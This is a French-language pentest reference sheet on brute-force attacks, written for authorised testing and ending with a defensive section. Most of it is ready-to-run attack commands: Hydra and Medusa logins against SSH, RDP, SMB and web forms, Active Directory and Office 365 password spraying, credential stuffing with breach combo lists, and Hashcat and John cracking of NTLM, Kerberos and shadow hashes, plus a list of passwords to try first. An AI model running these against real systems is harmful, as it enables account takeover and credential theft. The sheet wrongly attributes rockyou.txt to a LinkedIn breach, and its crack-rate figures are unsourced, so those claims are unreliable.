---
title: "Brute Force Attack — Hydra, Hashcat, Password Spraying"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [brute-force, hydra, hashcat, john, password-spraying, wordlist, credential-stuffing, pentest, blue-team]
difficulty: intermediate
status: stable
updated: "2026-05-14"
---
## Vue d'ensemble

```
Brute Force      → tester toutes les combinaisons possibles (charset exhaustif)
Dictionary       → tester une liste de mots de passe courants
Password Spray   → un seul password testé sur TOUS les comptes (évite le lockout)
Credential Stuff → liste de couples user:pass issus de fuites de données

Choix de la stratégie selon le contexte :
  Compte cible connu + pas de lockout   → Dictionary attack (Hydra + rockyou)
  Lockout présent (Active Directory)    → Password Spraying (1 essai/compte/30min)
  Hash récupéré (NTLM, MD5, bcrypt)     → Crack offline (Hashcat)
  Environnement avec fuites connues     → Credential Stuffing
```

---

## Wordlists

```bash
# SecLists — collection de référence
apt install seclists -y
ls /usr/share/seclists/Passwords/

# Principales listes utilisées :
# /usr/share/wordlists/rockyou.txt         → 14M mots de passe réels (breach LinkedIn 2009)
# /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
# /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz

# Extraire rockyou si compressé
gunzip /usr/share/wordlists/rockyou.txt.gz
```

### Génération de wordlists custom

```bash
# CeWL — générer une wordlist à partir d'un site web (vocabulaire de l'entreprise)
cewl https://{{TARGET_DOMAIN}} -d 3 -m 6 -w cewl_wordlist.txt
# -d 3 = profondeur 3 niveaux, -m 6 = mots de 6 caractères minimum

# CUPP — profil utilisateur → wordlist ciblée
cupp -i   # interactive mode (prénom, nom, date naissance, animaux, etc.)
# → Génère company123, Pierre2024!, etc.

# crunch — wordlist par pattern
crunch 8 10 abc123!@ -o crunch_list.txt     # 8-10 chars, charset abc123!@
crunch 8 8 -t @@@@%%%% -o pattern_list.txt  # @ = lower, % = chiffre
crunch 6 6 0123456789 -o digits_6.txt       # PIN 6 chiffres

# Combiner des wordlists
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt

# Hashcat — rules-based mutation (combiner une liste + règles)
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule rockyou.txt > mutated.txt
# best64 ajoute des suffixes communs : !,1,123,2024,@, etc.
```

---

## Hydra — Brute Force multi-protocole

### SSH

```bash
# Brute force SSH — user connu
hydra -l {{USERNAME}} -P /usr/share/wordlists/rockyou.txt ssh://{{TARGET_IP}}

# User list + password list
hydra -L users.txt -P passwords.txt ssh://{{TARGET_IP}}

# Optimiser la vitesse (threads)
hydra -l {{USERNAME}} -P rockyou.txt -t 4 ssh://{{TARGET_IP}}
# SSH bloque les connexions trop rapides → t 4 max recommandé

# Continuer un scan interrompu
hydra -R   # reprend depuis le fichier hydra.restore
```

### FTP

```bash
hydra -l {{USERNAME}} -P rockyou.txt ftp://{{TARGET_IP}}
hydra -L users.txt -P passwords.txt ftp://{{TARGET_IP}} -t 10 -V
```

### HTTP — Formulaire de login

```bash
# HTTP POST form (analyser la requête avec Burp pour obtenir les paramètres)
hydra -l {{USERNAME}} -P rockyou.txt {{TARGET_IP}} \
  http-post-form "/login:username=^USER^&password=^PASS^:Invalid password"
# "Invalid password" = string présent dans la réponse en cas d'échec

# HTTP GET basic auth
hydra -l admin -P rockyou.txt {{TARGET_IP}} http-get /admin/

# HTTPS POST form
hydra -l {{USERNAME}} -P rockyou.txt -s 443 -S {{TARGET_IP}} \
  https-post-form "/login:user=^USER^&pass=^PASS^:error"
```

### SMB / RDP / LDAP

```bash
# SMB (Windows shares, authentification)
hydra -l administrator -P rockyou.txt smb://{{TARGET_IP}}

# RDP
hydra -l {{USERNAME}} -P rockyou.txt rdp://{{TARGET_IP}} -t 4

# LDAP
hydra -l "cn={{USERNAME}},dc={{DOMAIN}},dc=local" -P rockyou.txt \
  ldap://{{TARGET_IP}}

# Telnet
hydra -l root -P rockyou.txt telnet://{{TARGET_IP}}

# MySQL
hydra -l root -P rockyou.txt mysql://{{TARGET_IP}}

# PostgreSQL
hydra -l postgres -P rockyou.txt postgres://{{TARGET_IP}}
```

---

## Medusa — Alternative Hydra

```bash
# SSH
medusa -h {{TARGET_IP}} -u {{USERNAME}} -P rockyou.txt -M ssh

# FTP avec liste d'utilisateurs
medusa -h {{TARGET_IP}} -U users.txt -P passwords.txt -M ftp -t 10

# HTTP form
medusa -h {{TARGET_IP}} -u admin -P rockyou.txt -M http \
  -m FORM:"/login:user=&pass=:Login failed"
```

---

## Web Brute Force — Burp Intruder / ffuf

### Burp Intruder

```
1. Intercepter la requête POST /login
2. Send to Intruder → Positions
3. Marquer le champ password : §password§
4. Payloads → Simple list → charger rockyou.txt
5. Start Attack → filtrer sur longueur de réponse ou status code

Cluster Bomb (user + password) :
  Position 1 = §user§  → Payload 1 = liste d'usernames
  Position 2 = §pass§  → Payload 2 = liste de passwords
  (toutes les combinaisons → très lent)
```

### ffuf — Web fuzzing rapide

```bash
# Brute force de répertoires
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u https://{{TARGET}}/FUZZ -mc 200,301,302 -t 50

# Brute force de login (POST)
ffuf -w rockyou.txt \
  -X POST \
  -d "username={{USERNAME}}&password=FUZZ" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -u https://{{TARGET}}/login \
  -fc 200 -mc 302    # chercher les redirects (login réussi → redirect)

# Brute force user + password (pitchfork)
ffuf -w users.txt:USER -w passwords.txt:PASS \
  -X POST \
  -d "username=USER&password=PASS" \
  -u https://{{TARGET}}/login \
  -mode pitchfork   # user[0]+pass[0], user[1]+pass[1], ...
```

---

## Password Spraying — Éviter le lockout

```bash
# Principe : 1 password → tous les users (lockout threshold = 3-5 → on reste sous le seuil)
# Espacer les essais : 1 tentative par compte toutes les 30 minutes

# Spraying SMB (CrackMapExec)
crackmapexec smb {{TARGET_SUBNET}} -u users.txt -p "{{COMMON_PASSWORD}}" --continue-on-success

# Spraying avec un seul mot de passe
crackmapexec smb {{TARGET_SUBNET}} -u users.txt -p "Spring2024!" --continue-on-success
crackmapexec smb {{TARGET_SUBNET}} -u users.txt -p "{{COMPANY_NAME}}2024" --continue-on-success

# Spraying Active Directory (Kerbrute — via Kerberos, plus discret que SMB)
kerbrute passwordspray -d {{DOMAIN}} --dc {{DC_IP}} users.txt "{{PASSWORD}}"

# Spraying Office 365 / Azure AD
# Spray-365 ou MSOLSpray
python3 MSOLSpray.py --userlist users.txt --password "{{PASSWORD}}"

# Attendre entre chaque round (éviter le lockout)
# Policy AD standard : 5 tentatives → lockout 30 min
# → 1 spray toutes les 31 min
```

---

## Hashcat — Crack de hashes offline

### Modes courants

```bash
# Identifier le type de hash
hashid {{HASH}}
hashcat --example-hashes | grep -A2 "MD5"

# Modes Hashcat fréquents en pentest :
# 0     MD5
# 100   SHA1
# 1000  NTLM (Windows)
# 1800  sha512crypt (Linux /etc/shadow)
# 3200  bcrypt
# 5600  NTLMv2 (Responder captures)
# 13100 Kerberos TGS (Kerberoasting)
# 18200 Kerberos AS-REP (AS-REP Roasting)
# 22000 WPA2 PMKID (WiFi)
```

```bash
# Dictionary attack (mode 0)
hashcat -m 1000 hashes.txt rockyou.txt

# Dictionary + rules (mutation — très efficace)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

# Brute force pur (mask attack, mode 3)
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d?d   # Majuscule + 4 lowercase + 4 chiffres
# ?l = minuscule, ?u = majuscule, ?d = chiffre, ?s = symbole, ?a = tous

# Combinator attack (combiner deux listes)
hashcat -m 1000 hashes.txt -a 1 wordlist1.txt wordlist2.txt

# Utiliser le GPU (bien plus rapide)
hashcat -m 1000 hashes.txt rockyou.txt -d 1   # GPU device 1

# Restaurer une session interrompue
hashcat --restore --session={{SESSION_NAME}}
```

### Exemples cibles pentest

```bash
# NTLM (hash SAM/NTDS) → mode 1000
hashcat -m 1000 ntlm_hashes.txt rockyou.txt -r best64.rule

# NTLMv2 (Responder) → mode 5600
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt

# Kerberoasting TGS → mode 13100
hashcat -m 13100 kerberoast.txt rockyou.txt -r best64.rule

# Linux shadow $6$ (SHA-512) → mode 1800
hashcat -m 1800 shadow_hash.txt rockyou.txt

# bcrypt $2y$ → mode 3200 (très lent, GPU requis)
hashcat -m 3200 bcrypt_hashes.txt rockyou.txt -t 64
```

---

## John the Ripper

```bash
# Crack automatique (détecte le format)
john hashes.txt --wordlist=rockyou.txt

# Format explicite
john hashes.txt --wordlist=rockyou.txt --format=NT       # NTLM
john hashes.txt --wordlist=rockyou.txt --format=sha512crypt  # Linux

# Règles de mutation
john hashes.txt --wordlist=rockyou.txt --rules=All

# /etc/shadow (nécessite unshadow)
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt

# Afficher les mots de passe trouvés
john hashes.txt --show

# Mode markov (génération basée sur la probabilité)
john hashes.txt --markov --max-length=10
```

---

## Credential Stuffing

```bash
# Utiliser des fuites de données (breach dumps) pour tester sur d'autres services
# Sources : HaveIBeenPwned API, paste sites, combo listes

# Format courant des combo lists : user:password ou email:password

# Test avec Hydra (HTTP POST)
hydra -C credentials_combo.txt {{TARGET_IP}} \
  http-post-form "/login:email=^USER^&password=^PASS^:Invalid credentials"

# Sniffer + tester en masse (OpenBullet, Storm — outils gris)
# Préférer Hydra ou ffuf pour les engagements légaux

# Vérifier si un email est dans une fuite (API HIBP)
curl -H "hibp-api-key: {{HIBP_API_KEY}}" \
  "https://haveibeenpwned.com/api/v3/breachedaccount/{{EMAIL}}"
```

---

## Défense

```bash
# fail2ban — bloquer les IPs après X tentatives (Linux)
cat /etc/fail2ban/jail.local
# [sshd]
# enabled = true
# maxretry = 5
# findtime = 600   # fenêtre de 10 min
# bantime = 3600   # ban 1 heure

systemctl restart fail2ban
fail2ban-client status sshd
```

```powershell
# Active Directory — politique de lockout
# Fine-Grained Password Policy (PSO) pour les comptes critiques
New-ADFineGrainedPasswordPolicy -Name "AdminPSO" `
  -Precedence 10 `
  -LockoutThreshold 5 `
  -LockoutDuration "00:30:00" `
  -LockoutObservationWindow "00:30:00" `
  -MinPasswordLength 15 `
  -ComplexityEnabled $true

# Détecter le password spraying (logs AD)
Get-WinEvent -LogName Security | Where-Object {
  $_.Id -eq 4625 -and $_.TimeCreated -gt (Get-Date).AddMinutes(-30)
} | Group-Object {$_.Properties[10].Value} | Where-Object {$_.Count -gt 3}
# > 3 comptes différents avec échec dans les 30 dernières minutes → spraying probable
```

```python
# Rate limiting côté applicatif (Flask)
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")       # max 5 tentatives/min par IP
@limiter.limit("20 per hour")        # max 20 tentatives/heure par IP
def login():
    # ...
```

---

## Checklist défensive

<Checklist
  storageKey="brute-force-defense"
  items={[
    { id: "lockout-policy", label: "Politique de lockout : 5 tentatives → verrouillage 30 min", critical: true },
    { id: "mfa-enabled", label: "MFA activé sur tous les comptes (rend le brute force inutile même si trouvé)", critical: true },
    { id: "rate-limiting", label: "Rate limiting sur les endpoints /login et /api/auth" },
    { id: "fail2ban", label: "fail2ban configuré sur SSH (maxretry=5, bantime=1h)" },
    { id: "no-default-creds", label: "Credentials par défaut changés sur tous les services" },
    { id: "captcha", label: "CAPTCHA après 3 tentatives échouées (anti-automatisation)" },
    { id: "strong-passwords", label: "Politique de mots de passe : 15+ chars, complexité, historique 12" },
    { id: "spray-detection", label: "Détection du password spraying : > 3 comptes échoués en 30 min depuis 1 IP" },
    { id: "geo-block", label: "Bloquer les pays non utilisés (si applicable) en amont du firewall" },
    { id: "credential-monitor", label: "Monitoring des fuites de données (HIBP API ou service dédié)" }
  ]}
/>

<Warning>
Le password spraying est la technique la plus efficace en environnement AD car il reste sous le seuil de lockout. Les mots de passe les plus souvent trouvés : `{{CompanyName}}2024!`, `Spring2024!`, `Password1!`, `Welcome1!`. Tester ces passwords en priorité lors d'un audit interne — ils fonctionnent dans une organisation sur deux.
</Warning>

<Tip>
Hashcat avec les règles `OneRuleToRuleThemAll` craque 30 à 50% des NTLM en moins d'une heure sur un GPU récent, même depuis rockyou.txt. Pour bcrypt, préférer une wordlist très ciblée (CeWL + CUPP) plutôt qu'une attaque exhaustive — bcrypt est conçu pour résister au GPU.
</Tip>
